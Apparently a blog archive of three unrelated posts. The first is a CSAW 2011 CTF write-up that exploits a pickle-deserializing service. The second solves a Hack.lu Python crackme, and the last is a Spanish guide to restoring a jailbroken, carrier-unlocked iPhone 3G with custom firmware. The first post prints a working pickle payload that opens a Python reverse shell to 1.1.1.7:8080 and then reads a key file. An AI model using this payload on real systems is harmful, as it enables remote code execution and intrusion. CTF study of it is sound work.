CSAW 2011 – Reversing – Python 200

Python – 200 Points 

nc csawctf.poly.edu 53080

When we connected to the port it was running a service Haderper:

-----------------------------
| Welcome to Haderper!      |
| Please enter your command |
-----------------------------
> help

Haderper v0.1-alpha

Command help:

help        - this screen
exec        - execute a command
derp        - derp a string
underp      - underp a string
logout/exit - disconnect

> derp hi
UydoaScKcDAKLg==
> underp UydoaScKcDAKLg==
hi
>

If we decode the base64 string we can see that it looks like a Pickle dump file:

$ echo UydoaScKcDAKLg== | base64 -d
S'hi'
p0

After several failed attempts to get a reverse shell or read command output (nc, ls >/dev/tcp, etc) and knowing that the daemon is running on python, we use a reverse shell written in python from reverse shell cheatsheet.

# credits for this code goes to Jeff Epler
import pickle, new, base64

def nasty(module, function, *args):
    return pickle.dumps(new.classobj(function, (), {'__getinitargs__': lambda self, arg = args: arg, '__module__': module}) ())

print "underp "+base64.b64encode(nasty("os", "system", "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"1.1.1.7\",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'")) 

$ python xpl.py | nc csawctf.poly.edu 53080

And our listening nc gets the remote shell:

$ nc -lp 8080
$ id
uid=1001(quine) gid=1001(quine) groups=1001(quine)
$ cd
$ ls
haderp.py
haderp.pyc
key.txt
$ cat key.txt
key{38d7721de7853c8e385e0ee177e3d15e7a21381bd461a20f631fd1f3048d22db}

Key:38d7721de7853c8e385e0ee177e3d15e7a21381bd461a20f631fd1f3048d22db

You can see the code for the daemon here.

Hack.lu 2011 CTF – Python Crackme Solution

Python Crackme

This challenge’s hero, needs your help. Sadly, our Commander Sheen has lost his Pogo Stick. Without his Pogo Stick, Commander Sheen is not WINNING. Can you help him? Solve the puzzle and find out what space-tool could support him. download

After downloading the mentioned file, we can see it is a pyc file which can be run with python2.7, using the script provided here to review the structure of pyc files  (if you are using 64 bits python make sure to change struct.unpack(‘L’, moddate)[0]) to struct.unpack(‘<L’, moddate)[0]) to get it working.) we could see some stuff like how many arguments it required to run:

24 LOAD_NAME                2 (len)
27 LOAD_NAME                0 (sys)
30 LOAD_ATTR                3 (argv)
33 CALL_FUNCTION            1
36 LOAD_CONST              28 (10)
39 COMPARE_OP               2 (==)
42 POP_JUMP_IF_TRUE        51
45 LOAD_GLOBAL              4 (AssertionError)
48 RAISE_VARARGS            1

Here len(sys.argv) == 10 should be true otherwise an assertion occurs

 
51 BUILD_LIST               0
54 LOAD_NAME                0 (sys)
57 LOAD_ATTR                3 (argv)
60 LOAD_CONST               3 (1)
63 SLICE+1
64 GET_ITER
65 FOR_ITER                18 (to 86)
68 STORE_NAME               5 (x)
71 LOAD_NAME                6 (int)
74 LOAD_NAME                5 (x)
77 CALL_FUNCTION            1
80 LIST_APPEND              2
83 JUMP_ABSOLUTE           65
86 UNPACK_SEQUENCE          9
89 STORE_NAME               7 (a)
92 STORE_NAME               8 (b)
95 STORE_NAME               9 (c)
98 STORE_NAME              10 (d)
101 STORE_NAME              11 (e)
104 STORE_NAME              12 (f)
107 STORE_NAME              13 (g)
110 STORE_NAME              14 (h)
113 STORE_NAME              15 (i)

All the arguments (from 1 onwards) are stored on a, b, c, d, e, f , g, h, i.

116 LOAD_NAME                8 (b)
119 LOAD_NAME                9 (c)
122 COMPARE_OP               2 (==)
125 POP_JUMP_IF_TRUE       134
128 LOAD_GLOBAL              4 (AssertionError)
131 RAISE_VARARGS            1

Some additional conditions appeared, b == c, c == g, g == h, g + b + c == 0.


254 LOAD_CONST               7 (3)
257 LOAD_NAME                7 (a)
260 BINARY_MULTIPLY
261 LOAD_CONST               8 (12)
264 LOAD_NAME               10 (d)
267 BINARY_MULTIPLY
268 BINARY_ADD
269 LOAD_NAME               11 (e)
272 BINARY_ADD
273 LOAD_CONST               9 (4)
276 LOAD_NAME               12 (f)
279 BINARY_MULTIPLY
280 BINARY_ADD
281 LOAD_CONST              10 (6)
284 LOAD_NAME               15 (i)
287 BINARY_MULTIPLY
288 BINARY_ADD
289 LOAD_CONST              11 (2194)
292 COMPARE_OP               2 (==)
295 POP_JUMP_IF_TRUE       304
298 LOAD_GLOBAL              4 (AssertionError)
301 RAISE_VARARGS            1

Here we get the next equation:

3*a + 12*d + e + 4*f + 6*i == 2194.

There are 4 additional equations:

-6 * a + 2 * d - 4 * e - f + 9 * i == -243
a + 6 * d + 2 * e + 7 * f + 11 * i == 2307
5 * a - 2 * d - 7 * e + 76 * f + 8 * i == 8238
2 * a - 2 * d - 2 * e - 2 * f + 2 * i == -72

After solving the equations we get:

a = 124,d = 71,e = 72,f = 100,i = 83

The additional values must be zero:

a = 124, b = 0, c = 0,  d = 71, e = 72, f = 100, g = 0 , h = 0, i = 83

$ python2 crackme.pyc 124 0 0 71 72 100 0 0 83
sp4ceb4llz of st33l

Flag: sp4ceb4llz of st33l

iPhone 3G – Reparar error 1015 al actualizar a iOS 4.2.1

Advertencia: No me hago responsable de cualquier daño que pueda ocurrir. El proceso que documento en la siguiente entrada es el que me funciono a mi.  Específicamente, el teléfono que se reparo fue un iPhone 3G, con baseband 06.10.00, este procedimiento ni el firmware que se proporciona funcionara en otros modelos.

Primero intentare explicar porque se produce este error, muy seguramente tu telefono para poder liberarlo del Carrier Lock (abrirle las bandas, liberar la sim para que acepte otros operadores) la persona que lo libero instalo el baseband 06.10.00 para iPad en su teléfono, y luego uso ultrasn0w.

Este error se produce al intentar restaurar el iPhone, ya que iTunes no puede aplicarle el baseband nuevo que es ‘menor’ que el que ya tienen instalados, lo cual vuelve ‘loco’ a iTunes, por decirlo asi. Y si intentas actualizarlo con iTunes, el proceso nunca terminara correctamente y siempre te mostrará el mensaje “The iphone could not be restored. An unknown error occurred 1015″, sin salir del modo de restauración.

The iphone could not be restored. an unknown error occurred (1015).

 

Herramientas necesarias:

1) Redsn0w 0.9.6 o superior

https://sites.google.com/a/iphone-dev.com/files/home/

2) iPhone 3G 4.2.1 custom firmware

http://www.fileserve.com/file/XYYxtvd/

http://www.wupload.com/file/126167650/iPhone1,2_4.2.1_8C148_Custom_Restore.ipsw

http://www.uploadstation.com/file/JWzG5Hh/iPhone1,2_4.2.1_8C148_Custom_Restore.ipsw

http://www.megaupload.com/?d=681MCLXO

3) iPhone 3G 4.2.1 firmware oficial

http://appldnld.apple.com/iPhone4/061-9853.20101122.Vfgt5/iPhone1,2_4.2.1_8C148_Restore.ipsw

http://www.iclarified.com/entry/index.php?enid=750

http://www.felixbruns.de/

Lo primero que tenemos que hacer es usar Redsn0w para habilitar el modo pwned DFU, el cual nos permite cargar firmware customs al telefono. En Browse seleccionamos el firmware ACTUAL, si la actualizacion la hicieron por error con iTunes deben tenerlo ya en su carpeta:

Mac: ~/Library/iTunes/iPhone Software Updates/
XP : X:\Documents and Settings\<User>\Application Data\Apple Computer\iTunes\iPhone Software Updates
Vista/ 7: X:\Users\<User>\AppData\Roaming\Apple Computer\iTunes\iPhone Software Updates

Copienlo a un lugar alterno para que tengan una copia de seguridad, iPhone1,2_4.2.1_8C148_Restore.ipsw. Seleccionen Just enter pwned DFU mode right now y sigan las instrucciones, una vez el telefono se encuentre en DFU, abran iTunes.

En iTunes, aparecerá que el telefono esta en modo de recuperación, la pantalla del telefono estará negra (esto es normal). Ahora  con Option (mac) ó Shift (win) presionado hacen click en Restore, y les debe aparecer el cuadro de abrir archivo, aca van a su carpeta de descargas y seleccionan el archivo iPhone1,2_4.2.1_8C148_Custom_Restore.ipsw y el proceso de restauración de este custom firmware iniciará.

Si todo salio bien, el iPhone debe arrancar sin problemas y tener el Cydia instalado, si el iPhone no reconoce la SIM card, muy probablemente tu telefono necesita el ultrasn0w para poder utilizar la SIM de tu operador movil, instalalo desde Cydia y todo deberia salir bien.

Este es el video con todo el procedimiento (ingles): http://www.youtube.com/watch?v=lKkront2s_0&feature=feedlik